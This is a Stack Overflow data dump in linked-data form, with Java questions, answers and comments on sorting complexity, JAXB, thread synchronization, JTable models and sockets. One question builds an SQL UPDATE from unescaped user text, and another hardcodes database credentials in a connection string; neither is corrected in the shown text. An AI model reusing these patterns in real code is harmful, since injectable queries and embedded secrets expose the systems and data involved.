type: AnsweredQuestion
score: 1
tagged with: java
accepted answer: http://stackoverflow.com/a/23200744
type: Question

http://stackoverflow.com/a/22279584
type: Answer
has comment: http://stackoverflow.com/comment/33848438
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33847860
accepted answer of: http://stackoverflow.com/q/22279130
answers question: http://stackoverflow.com/q/22279130
upvote count: 1
type: AcceptedAnswer
has body: As far as I understand things, what you want to do is control the object instantiation. Therefore, I would check the respective creational patterns of factory method and abstract factory. If you think a mapper could suit for you, you could check the Dozer project. Hope I helped!

http://stackoverflow.com/comment/33823268
has text: "you could probably completely reuse the C" - Pebble-faces uses JS! I looked at it before, but I can't use JS because I have to communicate with an app on the phone anyway, and don't believe you can do both.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22263963
type: AnswerComment

http://stackoverflow.com/comment/33759964
has text: @kennedyl94 Go through this http://stackoverflow.com/a/22207516/1741671 , it might help you
comment on: http://stackoverflow.com/a/22202581
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/33736056
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22203200
has text: Your last point is the most fitting to my issue, I'll take a look at it, if I didn't missed something.
type: AnswerComment

http://stackoverflow.com/a/22288866
has body: In method sumTime change printer.poll(); to printer.peek(); and try.
type: Answer
answers question: http://stackoverflow.com/q/22287746
accepted answer of: http://stackoverflow.com/q/22287746
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/33835659
has text: Okay - I've looked a little further and it sounds like you're trying to write an NMEA parser. You might find interesting stuff here http://stackoverflow.com/questions/587441/roll-your-own-nmea-parser-or-use-an-open-source-gps-parser
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22272635

filewriter
tag name: filewriter
tags question: http://stackoverflow.com/q/22290497
type: Tag
tags question: http://stackoverflow.com/q/22251287

http://stackoverflow.com/comment/33750723
score: 0
type: AnswerComment
has text: It seems effectively to be a good idea, sadly the old version is already 1.1 compliant.
comment on: http://stackoverflow.com/a/22226950
type: Comment

http://stackoverflow.com/comment/33715269
score: 0
type: Comment
type: QuestionComment
has text: Do you seriously intend on manually checking every single type known to humankind?
comment on: http://stackoverflow.com/q/22207603

http://stackoverflow.com/comment/33886009
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22302327
type: Comment
has text: please explain problem properly..Dont understand

http://stackoverflow.com/comment/33777910
has text: @ylun I don't see anybody here making a statement that `int` is 64-bit. Also JBox-2D is a physics simulation engine. If you can make a reasonable physics simulation engine using only integer math, I suggest you publish a paper about it, because that would be some crazy stuff. If you're referring to the use of float constants instead of int constants; it doesn't really matter if they're being assigned to float variables.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22242112

nexus
type: Tag
tags question: http://stackoverflow.com/q/22182388
tags question: http://stackoverflow.com/q/22325410
tag name: nexus

http://stackoverflow.com/q/22284906
tagged with: complexity-theory
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33856275
type: Question
has answer: http://stackoverflow.com/a/22391100
tagged with: algorithm
tagged with: java
has title: Time complexity modified bubblesort
has comment: http://stackoverflow.com/comment/33855440
has comment: http://stackoverflow.com/comment/33855251
has comment: http://stackoverflow.com/comment/33855308
score: 2
downvote count: 0
has answer: http://stackoverflow.com/a/22312128
tagged with: sorting
favorite count: 0
has comment: http://stackoverflow.com/comment/33857328
has answer: http://stackoverflow.com/a/22285316
has answer: http://stackoverflow.com/a/22285056
answer count: 4
has body: Have this java code for bubblesort: public void sort() { for(int i = 1; i &lt; getElementCount() ; ++i) { for(int j = getElementCount()-1; j &gt;= i; j--) { if (cmp(j,j-1) &lt; 0) swap(j, j-1); } } } the method "cmp" and "swap" are as follows: public int cmp(int i, int j) { return get(i).intValue()-get(j).intValue(); } public void swap(int i, int j) { Integer tmp = get(i); set(i, get(j)); set(j, tmp); } I have now written an improved version of the Bubblesort where the sorting method "sort()" looks like this: public void sort() { boolean done = false; for(int i = 1; i &lt; getElementCount() &amp;&amp; !done; ++i) { done = true; for(int j = getElementCount()-1; j &gt;= i; j--) { if (cmp(j,j-1) &lt; 0) { swap(j, j-1); done = false; } } } } Can anyone explain how to compute the time complexity of the latter algorithm? I'm thinking it's comparing n elements one time, and therefore it has complexity O(1) in its best case, and O(n^2) in it's worst case scenario, but I don't know if I'm right and would like to know how to think on this issue.

http://stackoverflow.com/comment/33834407
comment on: http://stackoverflow.com/q/22273524
score: 0
has text: For traversing the list you can use listIterator `ListIterator<Integer> iterator = Arrays.asList(a);` or i don't tested `new StringBuilder(Arrays.toString(a)).reverse().toString();` --> but you'll have `]3,2,1[`
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22212803
score: 1
has body: You need to use the package level @XmlSchema annotation to map the namespace qualification for your model. package-info.java @XmlSchema( namespace = "http://www.example.org/package", elementFormDefault = XmlNsForm.QUALIFIED) package example; import javax.xml.bind.annotation.XmlNsForm; import javax.xml.bind.annotation.XmlSchema; For More Information http://blog.bdoughan.com/2010/08/jaxb-namespaces.html
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22212660
type: Answer
has comment: http://stackoverflow.com/comment/33725981
answers question: http://stackoverflow.com/q/22212660
downvote count: 0
has comment: http://stackoverflow.com/comment/33726170

http://stackoverflow.com/comment/33918805
score: 0
has text: consider we declare `CustomersI customers = new OverrideTest();`. as same as you can assign any subtype to a variable. ex. `List<Customer> results = customers.getCustomers(..); ` now real get customer method return `ArrayList<Customer>` which is sub type of `List<Customer>`. The variable `result` is accepted any List<Customer>. therefore your return type is valid
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22320206

http://stackoverflow.com/comment/33848668
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22280975
has text: What do you want to do with these images? You wrote that you will store URL in database. Shall it be web application? If it is not web application, consider storing file path instead of URLs.

http://stackoverflow.com/a/22202207
has comment: http://stackoverflow.com/comment/33709703
score: 1
answers question: http://stackoverflow.com/q/22201510
has comment: http://stackoverflow.com/comment/33708921
has comment: http://stackoverflow.com/comment/33710659
has comment: http://stackoverflow.com/comment/33705905
downvote count: 0
has comment: http://stackoverflow.com/comment/33707068
has comment: http://stackoverflow.com/comment/33708365
has comment: http://stackoverflow.com/comment/33711389
has comment: http://stackoverflow.com/comment/33706531
has comment: http://stackoverflow.com/comment/33710969
has comment: http://stackoverflow.com/comment/33707323
has comment: http://stackoverflow.com/comment/33706423
type: Answer
upvote count: 1
has body: Performance-wise it makes no difference what object you synchronize on (just make sure it is always the same instance, in all cases). However... You would be better off providing a single instance of a class (say StudentData) that hides the list and values (Students) and provides the basic operations you need: add(Student), get(String studentId)?, remove(String studentId)?, etc, etc. (Aside: if your Student objects have ids, you might be better putting them in a map, not a list.) All of these methods would be declared synchronized (and would therefore synchronize on the StudentData instance) so each would complete atomically, before any subsequent change by another thread to the overall StudentData structure. Two caveats: If your Student objects are mutable (i.e. have getters/setters) you will need return a copy of the Student instance when returning from get() and copy the data from the passed in Student value to the one in the list (or map) in the StudentData on update()/add(). Otherwise, the state of the Student could be modified after the StudentData method finishes with it, via the reference to it (allowing updates outside of the synchronized code). You shouldn't do I/O in synchronized code. If you do, something that blocks I/O will prevent the synchronization lock from completing, and everything will stop, until I/O unblocks. (In fact, you should always limit the work done in synchronized code to the bare minimum needed.) One approach, if your data set is not too large, would be to synchronously take a copy of the whole data set then, outside of the synchronized code, write this all to disk. But, if you are going to be using a RandomAccessFile to manage some sort of on-disk record structure (rather than, say, a saved text representation of the data - e.g. XML, JSON), why not just use a RDBMS instead?

http://stackoverflow.com/comment/33746103
comment on: http://stackoverflow.com/q/22225268
has text: It seems like you want to decompose the regex into its tokens... May I ask why?
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/22206140
answers question: http://stackoverflow.com/q/22206073
score: 0
type: Answer
has body: Use switch statement instead of many else-if. It's easier to read, modify and with breaks works faster then else-if case 1: //code break;

instance
tags question: http://stackoverflow.com/q/22207641
tags question: http://stackoverflow.com/q/22196185
type: Tag
tag name: instance
tags question: http://stackoverflow.com/q/22271948
tags question: http://stackoverflow.com/q/22298877
tags question: http://stackoverflow.com/q/22279130
tags question: http://stackoverflow.com/q/22267672

http://stackoverflow.com/comment/33655279
type: QuestionComment
comment on: http://stackoverflow.com/q/22174413
has text: Define a class or load an existing class?
score: 0
type: Comment

http://stackoverflow.com/comment/33882529
score: 0
comment on: http://stackoverflow.com/q/22299907
type: QuestionComment
type: Comment
has text: @vishram0709: Imagine the numbers connected by a chain, it is pulled to the right and the numbers rotate

http://stackoverflow.com/comment/33732325
has text: or should i use canvas to draw this graph?
comment on: http://stackoverflow.com/a/22200278
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22235586
has comment: http://stackoverflow.com/comment/33765638
downvote count: 3
tagged with: sql
upvote count: 1
has title: Update sql will always catch exception
answer count: 1
has comment: http://stackoverflow.com/comment/33765656
favorite count: 0
type: AnsweredQuestion
tagged with: java
type: Question
has body: So, i am trying to update a database by taking text from the user using textfields. try { String url = "connection info"; Class.forName( "org.postgresql.Driver" ); Connection connection = DriverManager.getConnection( url ); String sql = "UPDATE equipment SET equipment_no = '" + t1.getText() + "', name = '" + t2.getText() + "', description = '" + t3.getText() + "', stock = '" + t4.getText() + "', price = '" + t5.getText() + "' WHERE equipment_id = '" + t0.getText() + "'"; Statement stmt = connection.createStatement(); try { stmt.executeQuery(sql); } catch(Exception ex0) { System.out.println("err"); } stmt.close(); connection.close(); } catch(Exception ex) { JOptionPane.showMessageDialog(null,"Could not connect to database\nPlease try again"); } The problem im having is the catch exception ex0 is always run, even if the sql statement is successfully executed. UPDATE -- printstacktrace result: No results were returned by the query. at org.postgresql.jdbc1.AbstractJdbc1Statement.executeQuery(AbstractJdbc1Statement.java:157) at org.postgresql.jdbc1.AbstractJdbc1Statement.executeQuery(AbstractJdbc1Statement.java:141) at Edit$ButtonListener6.actionPerformed(Edit.java:387) at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:2018) at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2341) at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:402) at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:259) at javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener.java:252) at java.awt.Component.processMouseEvent(Component.java:6505) at javax.swing.JComponent.processMouseEvent(JComponent.java:3320) at java.awt.Component.processEvent(Component.java:6270) at java.awt.Container.processEvent(Container.java:2229) at java.awt.Component.dispatchEventImpl(Component.java:4861) at java.awt.Container.dispatchEventImpl(Container.java:2287) at java.awt.Component.dispatchEvent(Component.java:4…
accepted answer: http://stackoverflow.com/a/22235777
score: -2
has comment: http://stackoverflow.com/comment/33765919
has answer: http://stackoverflow.com/a/22235777

http://stackoverflow.com/a/22307244
answers question: http://stackoverflow.com/q/22307114
has body: probably you have written wrong condition in for loop which will always false for (int i = original.length; i &lt;0; i--) a length is always >= 0. I think you should write i &gt; 0.
type: Answer
score: 0

http://stackoverflow.com/q/22180425
tagged with: swingworker
has comment: http://stackoverflow.com/comment/33667971
has comment: http://stackoverflow.com/comment/33668235
has comment: http://stackoverflow.com/comment/33666504
downvote count: 0
has comment: http://stackoverflow.com/comment/33667723
tagged with: jtable
has comment: http://stackoverflow.com/comment/33669301
favorite count: 0
has body: I have worker for fill the jtable from resultset like below; public class WorkerFillTable extends SwingWorker&lt;DefaultTableModel, DefaultTableModel&gt; { private DefaultTableModel modeltable; public WorkerFillTable(DefaultTableModel modeltable) { this.modeltable = modeltable; } @Override protected DefaultTableModel doInBackground() throws Exception { ResultSet rs; Statement stmt; String query = "select Name,ID,Status,IsActive from current_conf\n" + "order by Name,ID"; Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); String connectionUrl = "jdbc:sqlserver://192.168.130.100;" + "databaseName=DBST;" + "user=" + "user1" + ";" + "password=" + "userpass1" + ";"; Connection con = DriverManager.getConnection(connectionUrl); stmt = con.createStatement(); rs = stmt.executeQuery(query); ResultSetMetaData rsmd = rs.getMetaData(); Vector&lt;String&gt; columnNames = new Vector&lt;String&gt;(); int columnCount = rsmd.getColumnCount(); for (int column = 0; column &lt; columnCount; column++) { columnNames.addElement(rsmd.getColumnLabel(column + 1)); } Vector&lt;Vector&lt;Object&gt;&gt; data = new Vector&lt;Vector&lt;Object&gt;&gt;(); while (rs.next()) { Vector&lt;Object&gt; vector = new Vector&lt;Object&gt;(); for (int columnIndex = 1; columnIndex &lt;= columnCount; columnIndex++) { vector.add(rs.getObject(columnIndex)); } data.add(vector); } rs.close(); stmt.close(); modeltable = new DefaultTableModel(data, columnNames); return modeltable; } @Override protected void done() { try { TableModel modeltable = get(); sorter = new TableRowSorter(modeltable); cTable.setRowSorter(sorter); cTable.setModel(modeltable); } catch (InterruptedException | ExecutionException ex) { } } } But all of columns come as String. "IsActive" columns of DB is a bit only have "1" or "0" Jtable shows this columns as "true" or "false" I need edit last column typr to boelan in jtable. How can i do it ?
tagged with: tablemodel
upvote count: 1
tagged with: swing
has answer: http://stackoverflow.com/a/22183184
has title: Change Column Type of jtable when table populate from resultset
possible better answer: http://stackoverflow.com/a/22180552
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33667816
has answer: http://stackoverflow.com/a/22180552
has comment: http://stackoverflow.com/comment/33667915
score: 1
accepted answer: http://stackoverflow.com/a/22183184
tagged with: java
type: Question
answer count: 2

http://stackoverflow.com/q/22211375
downvote count: 1
has comment: http://stackoverflow.com/comment/33722601
tagged with: java
type: Question
upvote count: 0
answer count: 1
has title: Program freezing up when reading from socket
favorite count: 0
has body: I am having an issue with trying to read a socket in a java program. I am using a separate thread that runs a JFrame, but I use the main thread for the socket management. I can connect to the server and send info with no problem, but when I try to read info from the port the program is stuck on reading the port. The class I am using for reading the port is DataInputStream and I am just using the readLine() method to read from the socket. Is there another way to read from the socket that would fix this problem?
score: -1
type: UnansweredQuestion
tagged with: sockets
has answer: http://stackoverflow.com/a/22211905

http://stackoverflow.com/comment/33769559
type: AnswerComment
has text: Yeah, you never assign anything to pizzaChoice. You probably need to pizzaChoice = Integer.parseInt(pizzaSize); And then of course assign output of pizzaCost to pizzaPrice.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22237347